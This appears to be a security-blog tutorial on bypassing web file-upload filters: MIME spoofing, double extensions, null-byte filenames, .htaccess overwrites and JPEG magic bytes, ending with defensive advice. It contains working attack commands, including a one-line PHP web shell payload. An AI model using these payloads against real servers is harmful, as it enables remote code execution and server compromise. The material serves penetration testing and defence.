Listen to this Post
Introduction
File upload vulnerabilities remain a critical attack vector in web applications, often leading to remote code execution (RCE) or server compromise. Many security professionals overlook unconventional bypass techniques, leaving systems exposed. This article explores a practical method to bypass file upload restrictions, as demonstrated by Offensive Security Engineer Faiyaz Ahmad, and provides actionable commands and steps for penetration testers and bug bounty hunters.
Learning Objectives
- Understand how file upload restrictions can be bypassed using MIME-type manipulation.
- Learn how to validate and exploit this vulnerability in real-world scenarios.
- Implement defensive measures to mitigate such attacks.
You Should Know
1. MIME-Type Spoofing for File Upload Bypass
Command:
curl -X POST -F "[email protected];type=image/jpeg" http://target.com/upload
Step-by-Step Guide:
- Craft a malicious PHP file (e.g.,
shell.php) containing a web shell. - Spoof the MIME type by setting the `Content-Type` header to `image/jpeg` during upload.
- Use `curl` or Burp Suite to send the manipulated request.
- If the server only checks MIME types (not file signatures), the upload will succeed, allowing execution via `http://target.com/uploads/shell.php`.
2. Double Extension Bypass
Command:
mv shell.php shell.jpg.php
Step-by-Step Guide:
- Rename your malicious file with a double extension (e.g.,
shell.jpg.php). - Upload the file. Some filters may only check the first extension (
jpg). - If the server processes the second extension (
php), the payload executes.
3. Null Byte Injection
Command (Using Burp Suite):
POST /upload HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"
Step-by-Step Guide:
1. Intercept the upload request with Burp Suite.
- Insert a null byte (
%00) before the “real” extension (e.g.,shell.php%00.jpg). - Some servers truncate the filename at the null byte, processing the file as
shell.php.
4. .htaccess Overwrite for Execution Control
Command:
echo "AddType application/x-httpd-php .jpg" > .htaccess
Step-by-Step Guide:
- Upload a malicious `.htaccess` file forcing the server to treat `.jpg` files as PHP.
- Then upload a `.jpg` file containing PHP code.
- The server will execute the “image” as PHP.
5. Magic Byte Manipulation
Command (Hex Editing):
printf '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > fake.jpg.php
Step-by-Step Guide:
- Prepend JPEG magic bytes (
FF D8 FF E0) to your PHP payload. - Upload the file. Some servers check magic bytes instead of extensions.
- If the file is stored with `.php` access, it executes while bypassing checks.
What Undercode Say
- Key Takeaway 1: File upload vulnerabilities often stem from flawed validation logic—combining multiple bypass techniques increases success rates.
- Key Takeaway 2: Always test for secondary vulnerabilities (e.g., `.htaccess` overwrite) even after initial filters are bypassed.
Analysis:
Faiyaz Ahmad’s method highlights the importance of thinking outside conventional payloads. Many programs rely on client-side or simple server-side checks, leaving gaps for creative attackers. Defenders must implement multi-layered validation, including:
– File signature verification.
– Server-side extension whitelisting.
– Randomizing uploaded filenames.
– Isolating upload directories with restricted permissions.
Prediction
As web applications increasingly rely on user-generated content, file upload vulnerabilities will persist. Automation tools may incorporate these lesser-known bypasses, forcing defenders to adopt stricter validation frameworks like AWS Lambda-based scanning or real-time file analysis. Bug bounty hunters should document and share novel techniques to stay ahead of evolving defenses.
For Faiyaz’s full demonstration, watch the video here.
IT/Security Reporter URL:
Reported By: Faiyaz Ahmad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
